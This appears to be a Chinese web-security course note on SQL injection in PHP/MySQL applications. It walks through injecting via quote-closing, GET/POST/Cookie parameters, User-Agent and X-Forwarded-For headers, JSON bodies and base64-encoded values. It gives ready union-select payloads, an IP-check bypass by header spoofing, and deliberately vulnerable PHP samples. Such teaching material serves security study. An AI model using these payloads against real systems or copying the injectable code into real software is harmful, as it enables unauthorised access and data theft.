043-WEB攻防-PHP应用&SQL注入&符号拼接&请求方法&HTTP头&JSON&编码类
#知识点:
1、PHP-MYSQL-SQL注入-数据请求类型
2、PHP-MYSQL-SQL注入-数据请求方法
3、PHP-MYSQL-SQL注入-数据请求格式
演示案例:
➢PHP-MYSQL-数据请求类型
➢PHP-MYSQL-数据请求方法
➢PHP-MYSQL-数据请求格式
#PHP-MYSQL-数据请求类型
- SQL语句由于在黑盒中是无法预知写法的,SQL注入能发成功是需要拼接原SQL语句
- 大部分黑盒能做的就是分析后各种尝试去判断,所以有可能有注入但可能出现无法注入成功的情况。
- 究其原因大部分都是原SQL语句的未知性导致的拼接失败!
由于开发者对于数据类型和SQL语句写法(框架写法)导致SQL注入拼接失败
1、数字型(无符号干扰)
select * from news where id=$id;
2、字符型(有符号干扰)
-
select * from news where id=‘$id’;
-
有**‘’**干扰,则会阻碍注入的SQL语句拼接
-
使用**‘和
—+
将’‘
**闭合掉 -
id=
1'
union select 1,2,3,4,5,6--+
-
3、搜索型(有多符号干扰)
-
select * from news where id like ‘%$id%’
- '% %'干扰,则会阻碍注入的SQL语句拼接
- id=1**
%'
** union select 1,2,3,database(),5,6**–+and ‘%’=’**
4、框架型(有各种符号干扰)
- select * from news where id=(‘$id’);
- “select * from news where (id=‘$id’) limit 0,1” ;
- (’ ')或 limit 0,1干扰,则会阻碍注入的SQL语句拼接
- id=1
**')**
union select 1,2,3,database(),5,6**--+
**
#PHP-MYSQL-数据请求方法
全局变量方法:GET POST SERVER FILES HTTP头等
User-Agent:
使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:
网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
1.GET、POST 和 Cookie REQUEST
都可以进行数据请求,发生注入
-
$g=$_GET['g'];
: 从 URL 中的 GET 请求中获取参数 ‘g’ 的值,并将其赋给变量$g
。 -
$p=$_POST['p'];
: 从 POST 请求中获取参数 ‘p’ 的值,并将其赋给变量$p
。 -
$c=$_COOKIE['c'];
: 从客户端的 Cookie 中获取名为 ‘c’ 的值,并将其赋给变量$c
。 -
$r=$_REQUEST['r'];
: 从 GET、POST、COOKIE 中获取参数 ‘r’ 的值,并将其赋给变量$r
。$_REQUEST
包含了从客户端发送的所有数据,包括 GET、POST 和 Cookie 中的数据。<?php $g=$_GET['g']; $p=$_POST['p']; $c=$_COOKIE['c']; $r=$_REQUEST['r'];
2.Forwarded-For,Rerferer,Host间接查询发生注入
-
**User-Agent:**
使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)- 将抓包到的内容:
**User-Agent:
进行修改 xxxxx,页面回显也同时变更为xxxxx**
- 将抓包到的内容:
-
Forwarded-For
:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件**[通过修改XXF头可以实现伪造IP]**)X-Forwarded-for:1.101.1.11
-
Rerferer
:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.- 将百度的任意一个可触发按钮,连接值(网址)修改后,数据回显,出现**
Rerferer
**
- 将百度的任意一个可触发按钮,连接值(网址)修改后,数据回显,出现**
-
Host
:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
<?php
**// 获取用户代理信息
$ua = $_SERVER['HTTP_USER_AGENT'];**
**// 获取 X-Forwarded-For 头部的值,表示客户端的原始 IP 地址
$xff = $_SERVER['HTTP_X_FORWARDED_FOR'];**
**// 获取 HTTP 请求头中的主机信息
$host = $_SERVER['HTTP_HOST'];**
**// 获取 HTTP 请求头中的 Referer 信息,表示请求的来源页面
$re = $_SERVER['HTTP_REFERER'];**
// 输出用户代理信息
echo $ua . "<br>";
// 输出 X-Forwarded-For 头部的值
echo $xff . "<br>";
// 输出主机信息
echo $host . "<br>";
// 输出 Referer 信息
echo $re . "<br>";
?>
1、用户登录时post数据请求→实现注入
-
打开对应的post表单提交网址(后台登录页面)
-
分别开启代理,使用burp抓包
-
将抓到的包,发送至Repeater,开始进行注入
-
由于用户名admin是个字符串,所有需要在后面加上‘去闭合单引号
-
防止引起注入的SQL语句拼接失败
-
username=admin**
‘ order by 4--+
&password=4546456456** -
order by 4--+
是去手动注入,猜测列数的方式, -
通过不断的更改值,并查看返回的
Content-Length: 1789
数值 -
发现当值等于5的时候有变化,则证明列数应该是4列(存在注入点)
-
username=
admin'union select 1,database(),version(),4 --+
&password=4546456456 拼接注入语句,分别查询数据库名和数据库版本信息
-
2、登录判断IP时→是PHP特性中的$_SERVER[‘HTTP_X_FORWARDED_FOR’];接受IP的绕过(绕过)
-
PHP 函数,旨在获取客户端的 IP 地址
<?php // 定义名为 getip 的函数 function getip() { // 检查是否存在 HTTP_CLIENT_IP,并且其值不是 "unknown" if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) { $ip = getenv("HTTP_CLIENT_IP"); } // 检查是否存在 HTTP_X_FORWARDED_FOR,并且其值不是 "unknown" **else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) { $ip = getenv("HTTP_X_FORWARDED_FOR"); }** // 检查是否存在 REMOTE_ADDR,并且其值不是 "unknown" else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) { $ip = getenv("REMOTE_ADDR"); } // 检查是否存在 $_SERVER['REMOTE_ADDR'],其值不为空,并且不是 "unknown" else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) { $ip = $_SERVER['REMOTE_ADDR']; } // 如果上述条件都不满足,则将 IP 地址设置为 "unknown" else { $ip = "unknown"; } // 返回获取到的 IP 地址 return $ip; } ?>
-
用于验证用户登录的部分,通过获取用户的 IP 地址,然后根据 IP 地址从数据库中检索相应的用户信息。
<?php // 调用之前定义的获取 IP 地址的函数 $ip = getip(); //echo $ip; // 如果需要调试可以打印出 IP 地址 // 判断是否设置了 $username 变量 if(isset($username)){ // 判断用户的 IP 是否在数据库中,可能涉及到 IP 地址验证和拦截一些不合法请求的目的 // 注意:这种方式仅是简单的示例,实际应用中需要更复杂的逻辑和安全措施 **// 构造 SQL 查询语句,查询数据库中是否有对应 IP 地址的用户信息 $sql = "SELECT * FROM admin WHERE ip='$ip'";** // 执行 SQL 查询 $data = mysqli_query($con, $sql); // 判断查询结果是否存在符合条件的记录 if(mysqli_num_rows($data) > 0){ // 遍历查询结果集中的每一行 while ($row = mysqli_fetch_row($data)) { echo "Username: " . $row[0] . "<br>"; echo "Password: " . $row[1] . "<br>"; echo "ID: " . $row[2]; } } else { // 如果没有符合条件的记录,输出拒绝访问的提示 echo "<script>alert('拒绝访问')</script>"; } } ?>
-
如上代码实现,如果不是数据库中的ip地址,则始终不能访问
- 只有对应是数据库的ip才可以进行访问
实现:数据库白名单IP去判断-select注入
-
由于上方代码实现判断ip,限制访问→**[通过修改XXF头可以实现伪造IP]**)
-
注意:在源码中SQL语句格式:
$sql="select * from admin where ip='$ip'";
'$ip'
:单引号可能会造成SQL语句拼接失败,需要注意
-
抓取对应包,发送至Repeater
-
-
X-Forwarded-for:
dasdadsa' union select 1,database(),user(),4 and '1'='1
- 添加以上代码,并发送,查看回显数据
- 成功注入
遇到问题:回显数据发生报错,Warning mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given
原因:注入语句有错误**and '1'='1'
多加了一个’
**
解决:写为正确的注入语句即可X-Forwarded-for:dasdadsa' union select 1,database(),user(),4 and '1'='1
实现:代码配置固定IP去判断-策略绕过
ip在代码中写死
if(isset($username)){
**//绕过隐患 ip放在配置文件或代码申明中
if($ip=='127.0.0.1')**{
echo "<script>alert('可以登录')</script>";
}
else{
echo "<script>alert('拒绝访问')</script>";
}
- 通过抓包,抓取到对应的包
- 将抓包的内容加入:
**X-Forwarded-for:127.0.0.1
成功登录→绕过IP检测**
3、文件上传将文件名写入数据库-insert注入
实现:防注入记录IP去保存数据库-insert注入
#PHP-MYSQL-数据请求格式
1、数据采用统一格式传输,后端进行格式解析带入数据库(json)
-
普通字符串格式
-
json格式,需要在代码中设置
**// 将 JSON 数据解码为 PHP 数组 $data = json_decode($jsonData, true);** // 在此处处理登录逻辑 $username = $data['username']; $password = $data['password']; **$sql="select * from admin where username='$username' and password='$password'";** $data=mysqli_query($con,$sql); $rowcount=mysqli_num_rows($data);
-
$sql="select * from admin where username='$username' and password='$password'";
'$username'
或'$password'
单引号可能会造成SQL语句拼接失败,需要注意
-
执行注入:首先抓包
- 进行一一判断,获取对应的列数(4)
- 实行注入:
admin'union select 1,database(),version(),4 #
2、数据采用加密编码传输,后端进行解密解码带入数据库(base64)
-
代码如下:SQL语句中进行使用base64加密数值
<?php // 引入数据库配置文件 include '../config.php'; // 读取HTML模板文件内容 $template = file_get_contents('new.html'); // 获取GET参数'id',如果不存在则默认为'MQ==' $id = $_GET['id'] ?? 'MQ=='; **// 使用base64解码获取的'id'参数 $bid = base64_decode($id); // 构造SQL查询语句,根据解码后的'id'查询数据库中的新闻信息 $sql = "SELECT * FROM news WHERE id='$bid'";** $data = mysqli_query($con, $sql);
-
$sql = "SELECT * FROM news WHERE id='$bid'"
'$bid' :
单引号可能会造成SQL语句拼接失败,需要注意
-
执行注入:首先将加密的数值用判定的方式解密出来
-
确定了加密方式后,先构造出注入的SQL语句
-
然后使用(base64)加密方式进行转换,最后在目标上实行注入操作
-
3’ union select 1,2,3,4,5,6 and ‘1’='1
-
MycgdW5pb24gc2VsZWN0IDEsMiwzLDQsNSw2IGFuZCAnMSc9JzE=
-
3’ union select 1,2,3,database(),5,6 and ‘1’='1
-
MycgdW5pb24gc2VsZWN0IDEsMiwzLGRhdGFiYXNlKCksNSw2IGFuZCAnMSc9JzE=
-
-